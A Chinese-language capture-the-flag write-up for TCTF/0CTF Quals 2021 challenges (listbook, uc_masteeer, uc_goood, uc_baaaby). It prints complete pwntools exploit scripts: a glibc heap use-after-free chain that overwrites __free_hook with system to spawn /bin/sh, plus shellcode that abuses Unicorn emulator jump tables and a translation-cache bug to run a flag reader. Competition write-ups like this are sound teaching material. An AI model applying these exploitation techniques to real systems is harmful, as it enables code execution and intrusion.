Back

[TCTF/0CTF Quals 2021] listbook, uc_baaaby, uc_masteeer, uc_goood 题解

TCTF题目质量一如既往很高,而且uc(unicorn)系列挺好玩hhh

高校榜

Pwn

listbook

比较有意思而且不算难的堆利用

题目实现了简易的哈希表,同哈希idx的用单链表连接。

哈希值计算的时候abs8()使用不当,传值为0x80的时候返回idx为负数,下标溢出到vaild_list,造成idx0的enable位非0,造成严重的UAF

剩下就是慢慢地堆风水...

EXP:

from pwn import *

#p = process(["./listbook", "./libc-2.31.so"])
p = remote("111.186.58.249", 20001)
elf = ELF("./listbook")
libc = ELF("./libc-2.31.so")

context.log_level = "debug"

#base: 0x0000555555554000
#booklist: 0x0000555555554000+0x4840
#valid_list: 0x0000555555554000+0x4440

def add(name, content):
    p.sendlineafter(b">>", b"1")
    p.sendlineafter(b"name>", name)
    p.sendafter(b"content>", content)

def delete(idx:int):
    p.sendlineafter(b">>", b"2")   
    p.sendlineafter(b"index>", str(idx).encode())    

def show(idx:int):
    p.sendlineafter(b">>", b"3")
    p.sendlineafter(b"index>", str(idx).encode())   

def exp():
    # leak libc
    for i in range(7):
        add(b"\x01", b"AAAAAAAA\n") # fill tcache
    add(b"\x00", b"BBBBBBBB\n") # vuln: leak
    add(b"\x02", b"BBBBBBBB\n") # vuln: help
    for i in range(5):
        add(b"\x09\x01", b"KEEP\n") # keep
    for i in range(8):
        add(b"\x0b", b"KEEP\n") # keep
    add(b"\x0c", b"KEEP\n") # keep
    for i in range(2):
        add(b"\x0d", b"KEEP\n") # keep
    for i in range(7):
        add(b"\x0e", b"KEEP\n") # keep
    add(b"\x0f", b"CCCCCCCC\n") # split
    delete(1) # fill tcache
    delete(2) # break help chunk
    delete(0) # leak this Books' content

    add(b"\x80", b"AAAAAAAA\n") # enable idx:0
    show(0)
    p.recvuntil(b"=> ")
    libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    libc_base = libc_leak - 608 - 0x10 - libc.symbols[b"__malloc_hook"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    system = libc_base + libc.symbols[b"system"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("free_hook:", hex(free_hook))
    print("system:", hex(system))

    # attack __free_hook
    ## fix small bin
    for i in range(7):
        add(b"\x03", b"FIX SMALL; CLEAN UNSORTED\n")
    delete(0)
    for i in range(3):
        add(b"\x03", b"CLEAN UNSORTED\n")
    delete(0xb)
    for i in range(7):
        add(b"\x03", b"CLEAN UNSORTED\n")
    add(b"\x04", b"UNSORTED IDX:4\n")
    add(b"\x00", b"UNSORTED IDX:0\n")
    add(b"\x05", b"UNSORTED IDX:5\n")
    add(b"\x06", b"UNSORTED SPLIT\n")
    delete(0xe)
    delete(4)
    delete(0)
    delete(5)
    for i in range(7):
        add(b"\x03", b"CLEAN TCACHE\n")
    add(b"\x06", b"OVERLAP\n")
    add(b"\x80", b"AAAAAAAA\n") # enable idx:0
    delete(0xa)
    delete(0)
    delete(6)
    # build fake chain
    add(b"\x07", b"X"*0x88+p64(210)+p64(free_hook)+b"\n")
    add(b"\x08", b"/bin/sh\n")
    add(b"\x09", p64(system)+b"\n")
    print("free_hook:", hex(free_hook))
    delete(8)

    p.interactive()

if __name__ == "__main__":
    exp()

uc_masteeer

capstone反汇编了一下:

disasm_main.txt

0x1000: sub     rsp, 0x20
0x1004: mov     word ptr [rsp + 0xe], 0
0x100b: lea     rbx, [rsp + 0xe]
0x1010: mov     qword ptr [rsp + 0x10], 0
0x1019: mov     qword ptr [rsp + 0x18], 0
0x1022: mov     ecx, 0x44
0x1027: lea     rdx, [rip + 0x18b]
0x102e: mov     esi, 1
0x1033: xor     eax, eax
0x1035: mov     edi, 1
0x103a: call    0x11fd
0x103f: mov     ecx, 2
0x1044: mov     rdx, rbx
0x1047: xor     esi, esi
0x1049: xor     edi, edi
0x104b: xor     eax, eax
0x104d: call    0x11fd
0x1052: mov     al, byte ptr [rsp + 0xe]
0x1056: cmp     al, 0x32
0x1058: je      0x1093
0x105a: cmp     al, 0x33
0x105c: je      0x10c0
0x105e: cmp     al, 0x31
0x1060: jne     0x116a
0x1066: mov     ecx, 0x12
0x106b: lea     rdx, [rip + 0x135]
0x1072: mov     esi, 1
0x1077: xor     eax, eax
0x1079: mov     edi, 1
0x107e: call    0x11fd
0x1083: add     rsp, 0x20
0x1087: movabs  rdi, 0xbabecafe000
0x1091: jmp     qword ptr [rdi]
0x1093: mov     ecx, 0x12
0x1098: lea     rdx, [rip + 0xf6]
0x109f: mov     esi, 1
0x10a4: xor     eax, eax
0x10a6: mov     edi, 1
0x10ab: call    0x11fd
0x10b0: add     rsp, 0x20
0x10b4: movabs  rdi, 0xbabecafe000
0x10be: jmp     qword ptr [rdi]
0x10c0: mov     ecx, 7
0x10c5: lea     rdx, [rip + 0xc2]
0x10cc: mov     esi, 1
0x10d1: xor     eax, eax
0x10d3: mov     edi, 1
0x10d8: call    0x11fd
0x10dd: xor     esi, esi
0x10df: xor     edi, edi
0x10e1: lea     rdx, [rsp + 0x10]
0x10e6: mov     ecx, 8
0x10eb: xor     eax, eax
0x10ed: call    0x11fd
0x10f2: mov     ecx, 7
0x10f7: mov     esi, 1
0x10fc: xor     eax, eax
0x10fe: lea     rdx, [rip + 0x82]
0x1105: mov     edi, 1
0x110a: call    0x11fd
0x110f: xor     esi, esi
0x1111: xor     edi, edi
0x1113: xor     eax, eax
0x1115: lea     rdx, [rsp + 0x18]
0x111a: mov     ecx, 8
0x111f: call    0x11fd
0x1124: cmp     qword ptr [rsp + 0x18], 0xff
0x112d: ja      0x1022
0x1133: mov     ecx, 7
0x1138: lea     rdx, [rip + 0x41]
0x113f: mov     esi, 1
0x1144: xor     eax, eax
0x1146: mov     edi, 1
0x114b: call    0x11fd
0x1150: mov     rcx, qword ptr [rsp + 0x18]
0x1155: xor     esi, esi
0x1157: xor     edi, edi
0x1159: mov     rdx, qword ptr [rsp + 0x10]
0x115e: xor     eax, eax
0x1160: call    0x11fd
0x1165: jmp     0x1022
0x116a: mov     esi, 0xff
0x116f: mov     edi, 0x3c
0x1174: xor     eax, eax
0x1176: call    0x11fd
0x117b: jmp     0x1022

disasm_tail.txt

0x1000: xor     eax, eax
0x1002: mov     ecx, 0x32
0x1007: lea     rdx, [rip + 0x55]
0x100e: mov     esi, 1
0x1013: mov     edi, 1
0x1018: sub     rsp, 0x18
0x101c: mov     word ptr [rsp + 0xe], ax
0x1021: xor     eax, eax
0x1023: call    0x1095
0x1028: xor     esi, esi
0x102a: xor     edi, edi
0x102c: xor     eax, eax
0x102e: lea     rdx, [rsp + 0xe]
0x1033: mov     ecx, 2
0x1038: call    0x1095
0x103d: cmp     byte ptr [rsp + 0xe], 0x79
0x1042: jne     0x1055
0x1044: add     rsp, 0x18
0x1048: movabs  rdi, 0xbabecafe000
0x1052: jmp     qword ptr [rdi + 0x10]
0x1055: xor     esi, esi
0x1057: mov     edi, 0x3c
0x105c: xor     eax, eax
0x105e: call    0x1095
0x1063: outsd   dx, dword ptr [rsi]
0x1065: outsb   dx, byte ptr [rsi]
0x1066: jb      0x10ca
0x1069: je      0x10e0
0x106b: insb    byte ptr [rdi], dx

disasm_admin.txt

0x1000: mov     ecx, 0x10
0x1005: lea     rdx, [rip + 0x37]
0x100c: xor     eax, eax
0x100e: mov     esi, 1
0x1013: mov     edi, 1
0x1018: sub     rsp, 8
0x101c: call    0x1080
0x1021: lea     rax, [rip + 0x2b]
0x1028: movabs  qword ptr [0xbabecafe233], rax
0x1032: add     rsp, 8
0x1036: movabs  rdi, 0xbabecafe000
0x1040: jmp     qword ptr [rdi + 8]
0x1043: insd    dword ptr [rdi], dx

可以发现跳转表没做保护

  1. 修改跳转表中跳到ADMIN的表项,拿到admin权限后跳回菜单

  2. 再恢复表项,同时把CODE部分残留的ADMIN shellcode中,命令参数给改成k33nlab/readflag\x00

  3. user_test拿flag

from pwn import *

#p = process(["python3", "./uc_masteeer.py"])
p = remote("111.186.59.29", 10087)
context.log_level = "debug"
context.arch = "amd64"

CODE = 0xdeadbeef000
STACK = 0xbabecafe000

def admin_test():
    p.recvuntil(b"?: ")
    p.sendline(b"1")

def user_test():
    p.recvuntil(b"?: ")
    p.sendline(b"2")

def patch_data(target, size, data):
    p.recvuntil(b"?: ")
    p.sendline(b"3")
    p.sendafter(b"addr: ", p64(target))
    p.sendafter(b"size: ", p64(size))
    p.sendafter(b"data: ", data)

def exp():
    p.send(b"\x90")

    patch_data(STACK, 8, p64(CODE))
    admin_test()
    patch_data(STACK, 8, p64(CODE+0x1000))

    cmd = b"k33nlab"
    cmd += b"/readflag\x00"
    patch_data(CODE+0x1000+0x53, len(cmd), cmd)

    user_test()

    p.interactive()

if __name__ == "__main__":
    exp()

uc_goood

参照r3kapig的思路复现了一下,过程看原wp就行:https://r3kapig.com/writeup/20210706-0ctf-quals/#uc_goood

然而官方真正的预期解是一个逻辑bug(牛逼):https://gist.github.com/0xKira/e865709fc47c328ffd6fac3da9d36f44

预期解的大致思路是:通过lock使得一个basic block跨越三个页,然后中间那个页的写不会更新到tb cache里面,于是下次取tb cache执行的时候,中间那个页就还是执行原先的代码。

  1. 非预期exp:

test.py

from pwn import *
from capstone import *

CODE = 0xdeadbeef000
STACK = 0xbabecafe000
admin_offset = CODE + 0x6b - 5

md = Cs(CS_ARCH_X86, CS_MODE_64)
md.detail = True

ADMIN = b'\xb9\x10\x00\x00\x00\x48\x8d\x15\x37\x00\x00\x00\x31\xc0\xbe\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x83\xec\x08\xe8\x5f\x00\x00\x00\x48\x8d\x05\x2b\x00\x00\x00\x48\xa3\x33\xe2\xaf\xec\xab\x0b\x00\x00\x48\x83\xc4\x08\x48\xbf\x00\xf8\xee\xdb\xea\x0d\x00\x00\xff\x67\x08\x49\x6d\x61\x67\x69\x6e\x61\x74\x69\x6f\x6e\x20\x69\x73\x20\x00\x6b\x33\x33\x6e\x6c\x61\x62\x65\x63\x68\x6f\x20\x27\x6d\x6f\x72\x65\x20\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x20\x74\x68\x61\x6e\x20\x6b\x6e\x6f\x77\x6c\x65\x64\x67\x65\x2e\x27\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3'.ljust(0x1000, b'\xf4')
print("length of ADMIN => ", len(ADMIN))

# 0xdeadbeef067:    adc    al, byte ptr [rax]
# 0xdeadbeef069:    add    byte ptr [rax], al
# 0x2d pushfq
# !!!!!!!!!!!!!!!!!!!!!!!!!!
offset = 0x9a
# !!!!!!!!!!!!!!!!!!!!!!!!!!
rax = 0xdeadbef0000 + offset

al = ((rax&0xff) + ADMIN[offset])&0xff
print(hex(al), hex(ADMIN[offset]))

rax2 = (0xdeadbef0000 & 0xfffffffff00)+al
print(hex(rax2))

if rax2 > (0xdeadbef0000+0x32):
    if rax2 not in range(0xdeadbef0000+0x80, 0xdeadbef0000+0x9b):
        print("-----nonono-----")
        exit()

tmp = bytearray(ADMIN)
tmp[rax2-0xdeadbef0000] = (tmp[rax2-0xdeadbef0000]+al)&0xff
ADMIN = bytes(tmp)
#print(al, ADMIN[offset])


print("---------- ADMIN CODE ----------")
for i in md.disasm(ADMIN[:0x45], CODE+0x1000):
    print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))

print()
for i in md.disasm(ADMIN[0x80:0x9a], CODE+0x1000+0x80):
    print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))

print(hex(rax2))

exp.py

from pwn import *


#p = remote("111.186.59.29", 10088)
#context.log_level = "debug"
context.arch = "amd64"

CODE = 0xdeadbeef000
STACK = 0xbabecafe000

# uc.mem_write(CODE + 0x800, p64(CODE + 0xff0) + p64(CODE + 0x2000) + p64(CODE)) 

def admin_test():
    p.recvuntil(b"?: ")
    p.sendline(b"1")

def user_test():
    p.recvuntil(b"?: ")
    p.sendline(b"2")

def patch_data(target, size, data):
    p.recvuntil(b"?: ")
    p.sendline(b"3")
    p.sendafter(b"addr: ", p64(target))
    p.sendafter(b"size: ", p64(size))
    p.sendafter(b"data: ", data)

def exp():
    global p
    #p = process(["python3", "./uc_goood.py"])
    p = remote("111.186.59.29", 10088)
    shellcode = '''
    mov rax, 0x68732f6e6962;
    push rax;
    mov rax, 0x2f62616c6e33336b;
    push rax;
    mov r8, rsp;
    mov r9, 0xbabecafe1e6;

    sub rsp, 0x135;

    mov rax, 0xdeadbef009a;
    mov rbx, 0xdeadbeef067;
    jmp rbx;
    '''
    p.send(asm(shellcode).ljust(0x1000 - 0xd, b"\xf4"))
    user_test()

    p.interactive()



# flag{Hope_you_enjoyed_the_series}
if __name__ == "__main__":
    exp()
  1. 预期解exp:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import remote, p64

p = remote('111.186.59.29', 10088)

'''
push 0
mov rax, 0x67616c6664616572
push rax
mov rax, 0x2f62616c6e33336b
push rax
mov rsi, 0xbabecafe233
mov [rsi], rsp
'''
# These shellcode will be executed under admin context
payload = b'\x6a\x00\x48\xb8\x72\x65\x61\x64\x66\x6c\x61\x67\x50\x48\xb8\x6b\x33\x33\x6e\x6c\x61\x62\x2f\x50\x48\xbe\x33\xe2\xaf\xec\xab\x0b\x00\x00\x48\x89\x26'
payload = payload.ljust(0x1000 - 0xd, b'\xf0')

p.send(payload)
p.sendlineafter('?: ', '3')
p.sendafter('addr: ', p64(0xdeadbef1000 - 0xd))
p.sendafter('size: ', p64(0xd))
p.sendafter('data: ', b'\xf0' * 0xd)
p.sendlineafter('?: ', '2')
p.sendlineafter('(y/[n])', 'y')
p.sendlineafter('?: ', '1')
p.interactive()

Misc

uc_baaaby

这个方法打本地一次过但是打远程有几率性,不清楚为什么

题目限制主要是三点:

  1. 需要用x86汇编完成指定地址md5计算
  2. 不能有超过一个基本块(除了入口)

  3. 取指次数小于0x233次

第一个问题可以从网上找个fastmd5来魔改,编译成位置无关代码后提取出来主要部分作为shellcode

关于上面第二个问题通过展开循环和内联函数来解决

第三个问题通过构造12字节长指令add qword ptr es:[rax+rcx+0x100], 0x1000,并在前缀pad一定数量的\xF0(lock)来爆破直到最终步数小于等于0x233

fast_x8664_md5.c

/* 
 * MD5 hash in C and x86 assembly
 * 
 * Copyright (c) 2021 Project Nayuki. (MIT License)
 * https://www.nayuki.io/page/fast-md5-hash-implementation-in-x86-assembly
 * 
 * Permission is hereby granted, free of charge, to any person obtaining a copy of
 * this software and associated documentation files (the "Software"), to deal in
 * the Software without restriction, including without limitation the rights to
 * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
 * the Software, and to permit persons to whom the Software is furnished to do so,
 * subject to the following conditions:
 * - The above copyright notice and this permission notice shall be included in
 *   all copies or substantial portions of the Software.
 * - The Software is provided "as is", without warranty of any kind, express or
 *   implied, including but not limited to the warranties of merchantability,
 *   fitness for a particular purpose and noninfringement. In no event shall the
 *   authors or copyright holders be liable for any claim, damages or other
 *   liability, whether in an action of contract, tort or otherwise, arising from,
 *   out of or in connection with the Software or the use or other dealings in the
 *   Software.
 */

#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include<unistd.h>
#include<sys/mman.h>

#define CODE 0xdeadbeef000LL
#define DATA 0xbabecafe000LL

/* Function prototypes */

#define BLOCK_LEN 64  // In bytes
#define STATE_LEN 4  // In words

static bool self_check(void);
void md5_hash(const uint8_t message[], size_t len, uint32_t hash[static STATE_LEN]);

// Link this program with an external C or x86 compression function
// extern inline void md5_compress(uint32_t state[static STATE_LEN], const uint8_t block[static BLOCK_LEN]);
__inline__ __attribute__((always_inline)) void md5_compress(uint32_t state[static 4], const uint8_t block[static 64]);
//void md5_compress(uint32_t state[static 4], const uint8_t block[static 64]);

/* Main program */

int main(void) {
    //char *code = mmap(CODE, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
    //char *data = mmap(DATA, 0x3000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
    //((uint8_t *)(0xdeadbeef000LL))[0] = 1;

    uint8_t *message = (uint8_t *)DATA;
    uint32_t *hash = (uint8_t *)DATA+0x800LL;

    //memset(message, 0, 0x800);
    //memset(hash, 0, 0x10);

    //for(int i = 0 ; i < 50;i++){
    //    message[i] = 'A';
    //}

    //int len = 50;

    hash[0] = UINT32_C(0x67452301);
    hash[1] = UINT32_C(0xEFCDAB89);
    hash[2] = UINT32_C(0x98BADCFE);
    hash[3] = UINT32_C(0x10325476);

    #define LENGTH_SIZE 8  // In bytes

    /*
    size_t off;
    for (off = 0; len - off >= BLOCK_LEN; off += BLOCK_LEN)
        md5_compress(hash, &message[off]);
    */

    //uint8_t block[BLOCK_LEN] = {0};
    //size_t rem = len - off;
    //size_t rem = len;

    //memcpy(block, &message[0], 50);
    message[50] = 0x80;
    //rem++;

    message[56] = (uint8_t)(0x90U);
    /*
    for (int i = 1; i < LENGTH_SIZE; i++, len >>= 8)
        block[BLOCK_LEN - LENGTH_SIZE + i] = (uint8_t)(len & 0xFFU);
    */
    message[57] = (uint8_t)(1U);
    /*
    len >>= 8;
    block[BLOCK_LEN - LENGTH_SIZE + 2] = (uint8_t)(len & 0xFFU);
    len >>= 8;
    block[BLOCK_LEN - LENGTH_SIZE + 3] = (uint8_t)(len & 0xFFU);
    len >>= 8;
    block[BLOCK_LEN - LENGTH_SIZE + 4] = (uint8_t)(len & 0xFFU);
    len >>= 8;
    block[BLOCK_LEN - LENGTH_SIZE + 5] = (uint8_t)(len & 0xFFU);
    len >>= 8;
    block[BLOCK_LEN - LENGTH_SIZE + 6] = (uint8_t)(len & 0xFFU);
    len >>= 8;
    block[BLOCK_LEN - LENGTH_SIZE + 7] = (uint8_t)(len & 0xFFU);
    */


    md5_compress(hash, message);

    //for(int i = 0 ; i < 16;i++){
    //    printf("%x " , ((uint8_t *)hash)[i]);
    //}

    return 0;
}

void md5_compress(uint32_t state[static 4], const uint8_t block[static 64]) {
    #define LOADSCHEDULE(i)  \
        schedule[i] = (uint32_t)block[i * 4 + 0] <<  0  \
                    | (uint32_t)block[i * 4 + 1] <<  8  \
                    | (uint32_t)block[i * 4 + 2] << 16  \
                    | (uint32_t)block[i * 4 + 3] << 24;

    uint32_t schedule[16];
    LOADSCHEDULE( 0)
    LOADSCHEDULE( 1)
    LOADSCHEDULE( 2)
    LOADSCHEDULE( 3)
    LOADSCHEDULE( 4)
    LOADSCHEDULE( 5)
    LOADSCHEDULE( 6)
    LOADSCHEDULE( 7)
    LOADSCHEDULE( 8)
    LOADSCHEDULE( 9)
    LOADSCHEDULE(10)
    LOADSCHEDULE(11)
    LOADSCHEDULE(12)
    LOADSCHEDULE(13)
    LOADSCHEDULE(14)
    LOADSCHEDULE(15)

    #define ROTL32(x, n)  (((0U + (x)) << (n)) | ((x) >> (32 - (n))))  // Assumes that x is uint32_t and 0 < n < 32
    #define ROUND0(a, b, c, d, k, s, t)  ROUND_TAIL(a, b, d ^ (b & (c ^ d)), k, s, t)
    #define ROUND1(a, b, c, d, k, s, t)  ROUND_TAIL(a, b, c ^ (d & (b ^ c)), k, s, t)
    #define ROUND2(a, b, c, d, k, s, t)  ROUND_TAIL(a, b, b ^ c ^ d        , k, s, t)
    #define ROUND3(a, b, c, d, k, s, t)  ROUND_TAIL(a, b, c ^ (b | ~d)     , k, s, t)
    #define ROUND_TAIL(a, b, expr, k, s, t)    \
        a = 0U + a + (expr) + UINT32_C(t) + schedule[k];  \
        a = 0U + b + ROTL32(a, s);

    uint32_t a = state[0];
    uint32_t b = state[1];
    uint32_t c = state[2];
    uint32_t d = state[3];

    ROUND0(a, b, c, d,  0,  7, 0xD76AA478)
    ROUND0(d, a, b, c,  1, 12, 0xE8C7B756)
    ROUND0(c, d, a, b,  2, 17, 0x242070DB)
    ROUND0(b, c, d, a,  3, 22, 0xC1BDCEEE)
    ROUND0(a, b, c, d,  4,  7, 0xF57C0FAF)
    ROUND0(d, a, b, c,  5, 12, 0x4787C62A)
    ROUND0(c, d, a, b,  6, 17, 0xA8304613)
    ROUND0(b, c, d, a,  7, 22, 0xFD469501)
    ROUND0(a, b, c, d,  8,  7, 0x698098D8)
    ROUND0(d, a, b, c,  9, 12, 0x8B44F7AF)
    ROUND0(c, d, a, b, 10, 17, 0xFFFF5BB1)
    ROUND0(b, c, d, a, 11, 22, 0x895CD7BE)
    ROUND0(a, b, c, d, 12,  7, 0x6B901122)
    ROUND0(d, a, b, c, 13, 12, 0xFD987193)
    ROUND0(c, d, a, b, 14, 17, 0xA679438E)
    ROUND0(b, c, d, a, 15, 22, 0x49B40821)
    ROUND1(a, b, c, d,  1,  5, 0xF61E2562)
    ROUND1(d, a, b, c,  6,  9, 0xC040B340)
    ROUND1(c, d, a, b, 11, 14, 0x265E5A51)
    ROUND1(b, c, d, a,  0, 20, 0xE9B6C7AA)
    ROUND1(a, b, c, d,  5,  5, 0xD62F105D)
    ROUND1(d, a, b, c, 10,  9, 0x02441453)
    ROUND1(c, d, a, b, 15, 14, 0xD8A1E681)
    ROUND1(b, c, d, a,  4, 20, 0xE7D3FBC8)
    ROUND1(a, b, c, d,  9,  5, 0x21E1CDE6)
    ROUND1(d, a, b, c, 14,  9, 0xC33707D6)
    ROUND1(c, d, a, b,  3, 14, 0xF4D50D87)
    ROUND1(b, c, d, a,  8, 20, 0x455A14ED)
    ROUND1(a, b, c, d, 13,  5, 0xA9E3E905)
    ROUND1(d, a, b, c,  2,  9, 0xFCEFA3F8)
    ROUND1(c, d, a, b,  7, 14, 0x676F02D9)
    ROUND1(b, c, d, a, 12, 20, 0x8D2A4C8A)
    ROUND2(a, b, c, d,  5,  4, 0xFFFA3942)
    ROUND2(d, a, b, c,  8, 11, 0x8771F681)
    ROUND2(c, d, a, b, 11, 16, 0x6D9D6122)
    ROUND2(b, c, d, a, 14, 23, 0xFDE5380C)
    ROUND2(a, b, c, d,  1,  4, 0xA4BEEA44)
    ROUND2(d, a, b, c,  4, 11, 0x4BDECFA9)
    ROUND2(c, d, a, b,  7, 16, 0xF6BB4B60)
    ROUND2(b, c, d, a, 10, 23, 0xBEBFBC70)
    ROUND2(a, b, c, d, 13,  4, 0x289B7EC6)
    ROUND2(d, a, b, c,  0, 11, 0xEAA127FA)
    ROUND2(c, d, a, b,  3, 16, 0xD4EF3085)
    ROUND2(b, c, d, a,  6, 23, 0x04881D05)
    ROUND2(a, b, c, d,  9,  4, 0xD9D4D039)
    ROUND2(d, a, b, c, 12, 11, 0xE6DB99E5)
    ROUND2(c, d, a, b, 15, 16, 0x1FA27CF8)
    ROUND2(b, c, d, a,  2, 23, 0xC4AC5665)
    ROUND3(a, b, c, d,  0,  6, 0xF4292244)
    ROUND3(d, a, b, c,  7, 10, 0x432AFF97)
    ROUND3(c, d, a, b, 14, 15, 0xAB9423A7)
    ROUND3(b, c, d, a,  5, 21, 0xFC93A039)
    ROUND3(a, b, c, d, 12,  6, 0x655B59C3)
    ROUND3(d, a, b, c,  3, 10, 0x8F0CCC92)
    ROUND3(c, d, a, b, 10, 15, 0xFFEFF47D)
    ROUND3(b, c, d, a,  1, 21, 0x85845DD1)
    ROUND3(a, b, c, d,  8,  6, 0x6FA87E4F)
    ROUND3(d, a, b, c, 15, 10, 0xFE2CE6E0)
    ROUND3(c, d, a, b,  6, 15, 0xA3014314)
    ROUND3(b, c, d, a, 13, 21, 0x4E0811A1)
    ROUND3(a, b, c, d,  4,  6, 0xF7537E82)
    ROUND3(d, a, b, c, 11, 10, 0xBD3AF235)
    ROUND3(c, d, a, b,  2, 15, 0x2AD7D2BB)
    ROUND3(b, c, d, a,  9, 21, 0xEB86D391)

    state[0] = 0U + state[0] + a;
    state[1] = 0U + state[1] + b;
    state[2] = 0U + state[2] + c;
    state[3] = 0U + state[3] + d;
}

exploit.py

from pwn import *
import time

elf = ELF("./vuln")
#context.log_level = "debug"
context.arch = "amd64"

CODE = 0xdeadbeef000
DATA = 0xbabecafe000

def exp():
    global p
    for i in range(1, 0x2000):
        print("---------------------------curr", i)
        p = remote("111.186.59.29", 10086)
        #p = process(["python3","./uc_baaaby.py"])

        code = b""
        with open("./vuln2", "rb") as f:
            data = f.read()
            code = data[0x1044:0x16d0]
        print("Main code size:", hex(0x16d0-0x1044))
        payload = asm('''
            mov rbp, 0xbabecafefff;
            mov rsp, rbp;
        ''')
        print("Padding Size:", hex(len(payload)))
        payload += code
        payload += asm("mov rax, 0xbabecafe000;mov rcx, 0;")
        padding_num = 1609
        payload += (b"\xF0"*padding_num+b"\x26\x48\x81\x84\x08\x00\x01\x00\x00\x10\x00\x00")*((0x2000-len(payload))//(12+padding_num))
        payload = payload.ljust(0x2000, asm("nop"))


        p.send(payload)
        print("Payload size:", hex(len(payload)))
        #p.interactive()
        try:
            p.recvuntil(b"You took ")
            _time = int(p.recvuntil(b" ", drop=True).decode())
        except:
            p.close()
            continue
        print("Time used: ", hex(_time))
        if _time<=0x233:
            pause()
        p.close()
        time.sleep(0.2)

if __name__ == "__main__":
    exp()
Submit